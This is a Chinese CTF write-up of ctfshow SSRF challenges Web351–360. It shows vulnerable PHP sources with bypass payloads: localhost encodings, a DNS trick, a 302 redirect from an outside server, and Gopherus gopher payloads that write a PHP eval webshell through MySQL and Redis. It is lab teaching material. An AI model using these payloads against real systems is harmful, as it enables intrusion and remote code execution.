Web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
可以看到提示非本地用户禁止访问,实际上就是模拟了一个内网环境,只有内网的用户才能进行访问,而外部访客则不行
方法一:
既然说必须是本地用户,那我们就使用内网的ip进行访问
POST传参
url=http://127.0.0.1/flag.php
方法二:
使用文件包含直接包含所谓只有内网才能访问的内容
post传参:
url=file:///var/www/html/flag.php
Web352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
直接访问flag.php发现还是提示非本地用户禁止访问
仔细看源码与上题的区别在于增加了验证
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
理论上应该用进制转换(url=http://0x7F000001/flag.php),特殊的0地址(url=http://0/flag.php)等一些方法绕过,但是我不知道为哈我直接用127.0.0.1也能过
Web353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
看一下过滤内容,再结合上题总结的发现,进制转换或者特殊0地址都是可以用的
Web354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
看代码知道localhost,1,0,。都没法用了,我们可以使用一个自己的域名
然后将域名的DNS解析A类指向127.0.0.1(如下图)
对于这道题来说,很多人没有自己的域名更没有解析记录
恰好http(s)😕/sudo.cc/这个域名的解析是指向127.0.0.1的,所以可以直接post传参
url=http://sudo.cc/flag.php
PS:什么是域名解析A类?
Web355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
多了一个限制让host位数小于5
省略绕过即可
url=http://127.1/flag.php
或
url=http://0/flag.php
Web356
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
host位数小于3,依旧是省略绕过
url=http://0/flag.php
Web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
gethostbyname — 返回主机名对应的 IPv4地址。
filter_var — 使用特定的过滤器过滤一个变量
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值
补充:
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
简单来说就是过滤掉了私有地址的访问
这里我们可以使用302跳转进行绕过
302跳转:
举个例子,我们假设淘宝更换了新的域名,但是对于广大用户来说他们只记
得taobao.com这个熟悉的域名,那么为了方便用户我们可以采用302跳转,
就对taobao.com配置302跳转到新域名地址,保证服务的延续
方法一:
在自己服务器上写个a.php文件内容如下
<?php
header("Location:http://127.0.0.1/flag.php");
然后payload写自己的这个地址就可以了
payload:
url=http://139.9.178.245:60/a.php
方法二:
对于没有自己没有服务器的
在这个网站注册一个账号http://ceye.io/,然后会给你分配一个域名,修改
原理可以看下大佬写的文章https://zhuanlan.zhihu.com/p/89426041
方法看CSDN博主「yu22x」:https://blog.csdn.net/miuzzx/article/details/111992415
Web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
正则匹配:以以http://ctf.开头,以show结尾
以show结尾比较好办,要么#show,要么?a=show这样的都可以
以http://ctf.开头的话,加一个@127.0.0.1绕过,这样parse_url解析出来的host是127.0.0.1
url=http://ctf.@127.0.0.1/flag.php?show
Web359
使用工具Gopherus(工具放进kali直接命令窗运行即可)
python gopherus.py --exploit mysql
root
select "这里写一句话木马" into outfile "/var/www/html/1.php"
运行后会得到payload
由于传上去会被解码,所以需要多进行一次urlencode
Web360
提示:打redis
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
方法同上
python gopherus.py --exploit redis
php
<?php eval($_POST['1']);?>
默认存储文件名称为shell.php
Redis配合gopher协议进行SSRF
概述
`Gopher
`协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了`Gopher
`协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 redis、ftp、mysql等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF的攻击面。
能未授权或者能通过弱口令认证访问到Redis服务器
redis常见的SSRF攻击方式大概有这几种:
- 绝对路径写webshell
- 写ssh公钥
- 写contrab计划任务反弹shell
这个方法比较常用,用得最多
- 构造redis命令
- 使用脚本,转化为redis RESP协议的格式
- 生成payload后,用curl打
- 执行成功后,查看shell是否写入成功